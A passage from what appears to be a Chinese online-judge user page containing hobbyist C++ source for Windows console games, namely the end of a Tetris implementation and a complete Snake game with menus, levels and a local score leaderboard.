= 0; j < 4; ++j) { block[i][j] = block08[i][j]; } } } else if (collisionDetection(block08, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block08[i][j]; } } --y; } else if (collisionDetection(block08, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block08[i][j]; } } ++y; } break; case 18: if (collisionDetection(block09, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block09[i][j]; } } } else if (collisionDetection(block09, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block09[i][j]; } } --y; } else if (collisionDetection(block09, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block09[i][j]; } } ++y; } break; case 19: if (collisionDetection(block06, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block06[i][j]; } } } else if (collisionDetection(block06, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block06[i][j]; } } --y; } else if (collisionDetection(block06, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block06[i][j]; } } ++y; } break; case 20: if (collisionDetection(block11, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block11[i][j]; } } } else if (collisionDetection(block11, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block11[i][j]; } } --y; } else if (collisionDetection(block11, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block11[i][j]; } } ++y; } break; case 21: if (collisionDetection(block12, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block12[i][j]; } } } else if (collisionDetection(block12, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block12[i][j]; } } --y; } else if (collisionDetection(block12, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block12[i][j]; } } ++y; } break; case 22: if (collisionDetection(block13, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block13[i][j]; } } } else if (collisionDetection(block13, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block13[i][j]; } } --y; } else if (collisionDetection(block13, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block13[i][j]; } } ++y; } break; case 23: if (collisionDetection(block10, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block10[i][j]; } } } else if (collisionDetection(block10, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block10[i][j]; } } --y; } else if (collisionDetection(block10, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block10[i][j]; } } ++y; } break; case 24: if (collisionDetection(block15, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block15[i][j]; } } } else if (collisionDetection(block15, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block15[i][j]; } } --y; } else if (collisionDetection(block15, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block15[i][j]; } } ++y; } break; case 25: if (collisionDetection(block14, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block14[i][j]; } } } else if (collisionDetection(block14, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block14[i][j]; } } --y; } else if (collisionDetection(block14, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block14[i][j]; } } ++y; } break; case 26: if (collisionDetection(block17, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block17[i][j]; } } } else if (collisionDetection(block17, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block17[i][j]; } } --y; } else if (collisionDetection(block17, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block17[i][j]; } } ++y; } break; case 27: if (collisionDetection(block16, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block16[i][j]; } } } else if (collisionDetection(block16, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block16[i][j]; } } --y; } else if (collisionDetection(block16, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block16[i][j]; } } ++y; } break; default: break; } } void myStop(HANDLE hOut, int block[4][4]) { clearBlock(hOut, block, 5, 15); SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY); gotoXY(hOut, 30, 7); cout << "游戏暂停"; char key; while (true) { key = _getch(); if (key == 32) { gotoXY(hOut, 30, 7); cout << " "; printBlock(hOut, block, 5, 15); return; } if (key == 27) { exit(0); } } } void eliminateRow(HANDLE hOut, int map[21][12], int &val, int &fraction, int &checkpoint) { SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY); for (int i = 19; i >= 0; --i) { int x = 0; for (int j = 1; j < 11; ++j) { x += map[i][j]; } if (x == 10) { fraction += 100; if (val > 1 && fraction / 1000 + 1 != checkpoint) { checkpoint = fraction / 1000 + 1; val -= 5; } for (int m = i; m > 0; --m) { for (int n = 1; n < 11; ++n) { map[m][n] = map[m - 1][n]; gotoXY(hOut, 2 * n, m); if (map[m][n] == 1) { cout << "■"; } else { cout << " "; } } } ++i; } } gotoXY(hOut, 36, 1); cout << fraction; gotoXY(hOut, 36, 2); cout << checkpoint; }
————————AC———————— C++小游戏(盗版贪吃蛇)
#ifndef SNAKE_H #define SNAKE_H #include<iostream> #include<windows.h> #include<vector> using namespace std; const int wall=25; class Snakeclass { private: COORD tailcoord,foodcoord; vector<COORD> snake; vector<COORD> map2; int snakesize,j,i,a; int m,mark,speech; bool pattern; public: Snakeclass(){m=wall/2,i=0,j=2,a=0,snakesize=4,mark=0,speech=500;} ~Snakeclass(){} void showmenu();//菜单 void showmap1();//经典地图 void showmap2(int);//街机地图 void drawsnake();//初始化蛇身坐标 void snakemove();//蛇移动判断 void showmark();//显示当前分数 void food();//食物生成 void judgedie();//判断死亡 void customspass();//关卡切换 void savemark();//记录分数 void showsavemark();//读取记录分数 void showface(); //显示表情 void gotoxy(int x,int y);//控制光标函数 void HideCursor();//隐藏光标函数 void color(int a);//控制颜色函数 }; #endif //函数定义和主程序 #include<iostream> #include<math.h> #include<fstream> #include<iomanip> #include<windows.h> #include<ctime> #include<cstdlib> #include<conio.h> #include<vector> void Snakeclass::gotoxy(int x,int y)//位置函数,输入坐标后,光标会移动到那个位置以便进行输出 { COORD pos; pos.X=2*x; //下面输出的图形都占两个位置 pos.Y=y; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);//光标控制的位置 } void Snakeclass::HideCursor()//隐藏光标 { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } void Snakeclass::color(int a)//颜色函数 { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);//只有一个参数 } void Snakeclass::showmap1() { COORD cod; for(int i=0;i<=wall;++i) { for(int j=0;j<=wall;++j) { if(i==0||i==wall||j==0||j==wall) { gotoxy(i ,j); color(10); cout<<"■"; }//围墙 else { gotoxy(i ,j); color(3); cout<<"□" ; }//可以玩的区域 } } for(int i=0;i!=snakesize;++i) { cod.X=m; cod.Y=wall-snakesize+i; snake.push_back(cod); } showface(); } void Snakeclass::showmap2(int a) { COORD cod; switch(a) { case 1:break; case 2:for(int i=m-2;i!=m+3;++i) { for(int j=m-2;j!=m+3;++j) { cod.X=i; cod.Y=j; map2.push_back(cod); } for(int i=5;i!=10;++i) { cod.X=i; cod.Y=5; map2.push_back(cod); cod.X=5; cod.Y=i; map2.push_back(cod); cod.X=10+i; cod.Y=5; map2.push_back(cod); cod.X=19; cod.Y=i; map2.push_back(cod); cod.X=i; cod.Y=19; map2.push_back(cod); cod.X=5; cod.Y=10+i; map2.push_back(cod); cod.X=10+i; cod.Y=19; map2.push_back(cod); cod.X=19; cod.Y=10+i; map2.push_back(cod); } }break; case 3:for(int i=7;i!=22;++i) { cod.X=i; cod.Y=9; map2.push_back(cod); } for(int j=9;j!=13;++j) { cod.X=7; cod.Y=j; map2.push_back(cod); } for(int j=9;j!=19;++j) { cod.X=21; cod.Y=j; map2.push_back(cod); } for(int i=4;i!=22;++i) { cod.X=i; cod.Y=18; map2.push_back(cod); cod.X=i; cod.Y=6; map2.push_back(cod); } for(int i=4;i!=19;++i) { cod.X=i; cod.Y=15; map2.push_back(cod); } for(int j=12;j!=16;++j) { cod.X=18; cod.Y=j; map2.push_back(cod); } for(int j=6;j!=16;++j) { cod.X=4; cod.Y=j; map2.push_back(cod); }break; } for(vector<COORD>::iterator beg=map2.begin();beg!=map2.end();++beg) { gotoxy(beg->X,beg->Y); color(10); cout<<"■"; } } void Snakeclass::showmenu() { showmap1(); a=0; COORD cod1,cod2; char ch; bool well=true,well1; gotoxy(m-2,m-2); cout<<"●经典模式"; gotoxy(m-2,m+2); cout<<"●街机模式"; cod1.X=m-4; cod1.Y=m-2; cod2.X=m-4; cod2.Y=m+2; while(well) { well1=true; COORD codtemp=cod1; gotoxy(codtemp.X,codtemp.Y); color(14); cout<<"★"; gotoxy(cod2.X,cod2.Y); color(3); cout<<"□" ; if(kbhit()) { gotoxy(wall,wall); ch=getch(); if(ch!='W'&&ch!='w'&&ch!='D'&&ch!='d'&&ch!='S'&&ch!='s') { well1=false; } if(well1) { switch(ch) { case 'W': case 'w':codtemp=cod1,cod1=cod2,cod2=codtemp;break; case 'S': case 's':codtemp=cod1,cod1=cod2,cod2=codtemp;break; case 'D': case 'd':codtemp.X+=2;break; } } if(codtemp.X==m-2&&codtemp.Y==m+2) { pattern=true; well=false; } if(codtemp.X==m-2&&codtemp.Y==m-2) { pattern=false; well=false; } } } } void Snakeclass::drawsnake() { for(vector<COORD>::iterator beg=snake.begin();beg!=snake.end()-1;++beg) { gotoxy(beg->X,beg->Y); color(14); cout<<"★"<<endl; } showmark(); gotoxy(wall+2,0); cout<<" 《贪吃蛇》"; gotoxy(wall+2,1); cout<<"w,a,s,d控制方向,空格暂停,按住L_SHIFT加速。"; gotoxy(wall+2,wall); color(2); cout<<"制作:刁民工作室"; } void Snakeclass::snakemove() { showsavemark(); int speechtemp1,speechtemp2; char ch,sh; COORD cd; bool well=false,well2=false,well3=true,well4=true; while(1) { cd.X=snake.begin()->X; cd.Y=snake.begin()->Y; if(kbhit()) { ch=getch(); if(well3) { food(); well3=false; } } if(GetAsyncKeyState(VK_LSHIFT) & 0x8000) { speechtemp2=50; } else { speechtemp2=speechtemp1; } if(((sh=='a'||sh=='A')&&(ch=='D'||ch=='d'))||((sh=='D'||sh=='d')&&(ch=='A'||ch=='a'))||((sh=='W'||sh=='w')&&(ch=='S'||ch=='s'))||((sh=='S'||sh=='s')&&(ch=='W'||ch=='w'))||(ch!='A'&&ch!='a'&&ch!='W'&&ch!='w'&&ch!='D'&&ch!='d'&&ch!='S'&&ch!='s'&&ch!=' ')) {ch=sh;} switch(ch) { case 'W': case 'w':--cd.Y,well=true;break; case 'S': case 's':++cd.Y,well=true;break; case 'A': case 'a':--cd.X,well=true;break; case 'D': case 'd':++cd.X,well=true;break; case ' ':well=false;break; } if(ch!=' ') sh=ch; if(well) { if(snake.begin()->X==foodcoord.X&&snake.begin()->Y==foodcoord.Y) { well2=true; mark+=10; if(mark%50==0) { ++i; showface(); gotoxy(wall+2,m+2); color(14); cout<<"升级加速!第"<<i<<"阶段"; speech-=25; } if(pattern) { if(mark%100==0) { if(j==2) { j=3; } else j=2; customspass(); } } snake.begin()->X=foodcoord.X; snake.begin()->Y=foodcoord.Y; snake.push_back(foodcoord); color(14); showmark(); } if(well2) { food(); well2=false; } vector<COORD>::reverse_iterator rbeg=snake.rbegin(); while(rbeg!=snake.rend()-1) { rbeg->X=(rbeg+1)->X; rbeg->Y=(rbeg+1)->Y; ++rbeg; } snake.begin()->X=cd.X; snake.begin()->Y=cd.Y; judgedie(); tailcoord.X=snake.rbegin()->X; tailcoord.Y=snake.rbegin()->Y; gotoxy(snake.begin()->X,snake.begin()->Y); color(14); cout<<"★"<<endl; gotoxy(tailcoord.X,tailcoord.Y); color(3); cout<<"□"; } speechtemp1=speech; Sleep(speechtemp2); } } void Snakeclass::customspass() { if(pattern) { snake.clear(); map2.clear(); showmap1(); showmap2(j); drawsnake(); snakemove(); } else { snake.clear(); map2.clear(); showmap1(); drawsnake(); snakemove(); } } void Snakeclass::food() { begin: srand((unsigned)time(NULL)); foodcoord.X=rand()%(wall-1)+1; foodcoord.Y=rand()%(wall-1)+1; for(vector<COORD>::iterator beg=snake.begin();beg!=snake.end();++beg) { if(foodcoord.X==beg->X&&foodcoord.Y==beg->Y) { goto begin; } } for(vector<COORD>::iterator beg=map2.begin();beg!=map2.end();++beg) { if(foodcoord.X==beg->X&&foodcoord.Y==beg->Y) { goto begin; } } gotoxy(foodcoord.X,foodcoord.Y); color(15); cout<<"●"; } void Snakeclass::showmark() { gotoxy(wall+2,m+1); cout<<"分数:"<<mark; } void Snakeclass::savemark() { ofstream file("贪吃蛇排行榜.txt",ios::out|ios::app); file<<mark<<endl; file.close(); } void Snakeclass::showsavemark() { color(14); int a,n=0,temp; ifstream file("贪吃蛇排行榜.txt",ios::in); while(file>>a) ++n; file.close(); ifstream file2("贪吃蛇排行榜.txt",ios::in); int num[n]; for(int i=0;i!=n;++i) { file2>>num[i]; } file2.close(); for(int i=0;i!=n;++i) { for(int j=i+1;j!=n;++j) { if(num[i]<num[j]) { temp=num[i]; num[i]=num[j]; num[j]=temp; } } } gotoxy(wall+2,m+4); cout<<"分数排行:"<<endl; for(int i=0;i!=n;++i) { if(i==5) break; gotoxy(wall+2,m+5+i); cout<<"NO."<<i+1<<":"<<num[i]<<endl; } } void Snakeclass::judgedie() { if(snake.begin()->X==0||snake.begin()->X==wall||snake.begin()->Y==0||snake.begin()->Y==wall) { gotoxy(m-3,m); color(14); cout<<"你把墙撞穿了!"; savemark(); showsavemark(); gotoxy(wall+6,wall); exit(0); } for(vector<COORD>::iterator beg=map2.begin();beg!=map2.end();++beg) { if(snake.begin()->X==beg->X&&snake.begin()->Y==beg->Y) { gotoxy(m-3,m); color(14); cout<<"你把墙撞穿了!"; savemark(); showsavemark(); gotoxy(wall+6,wall); exit(0); } } for(vector<COORD>::iterator beg=snake.begin()+1;beg!=snake.end();++beg) { if(snake.begin()->X==beg->X&&snake.begin()->Y==beg->Y) { gotoxy(m-3,m); color(14); cout<<"你把自己吃了!"; savemark(); showsavemark(); gotoxy(wall+6,wall); exit(0); } } } void Snakeclass::showface() { if(a==1) { a=2; } else a=1; switch(a) { case 1:color(15); gotoxy(wall+2,3); cout<<" "; gotoxy(wall+2,4); cout<<"(”\\( ●—● )"; gotoxy(wall+2,5); cout<<" "; gotoxy(wall+2,6); cout<<" \\ / ○ \\ \\ "; gotoxy(wall+2,7); cout<<" "; gotoxy(wall+2,8); cout<<" ( )” "; gotoxy(wall+2,9); cout<<" "; gotoxy(wall+2,10); cout<<" \\ __ /\\ __ / "; gotoxy(wall+2,11); cout<<" ";break; case 2:color(14); gotoxy(wall+2,3); cout<<" へ /|"; gotoxy(wall+2,4); cout<<" /\7 ∠_/"; gotoxy(wall+2,5); cout<<" / │ / /"; gotoxy(wall+2,6); cout<<"│ Z _,< / /`ヽ"; gotoxy(wall+2,7); cout<<"│ ヽ / 〉"; gotoxy(wall+2,8); cout<<"Y ` / / \\"; gotoxy(wall+2,9); cout<<"ィ● 、 ● ()〈 /"; gotoxy(wall+2,10); cout<<"() へ | \〈"; gotoxy(wall+2,11); cout<<" >- 、_ ィ ";break; } } int main() { Snakeclass csnake; csnake.HideCursor(); csnake.showmenu(); csnake.customspass(); return 0; }
-
通过的题目
-
最近活动
题目标签
- 初窥门径
- 1
- 顺序结构
- 1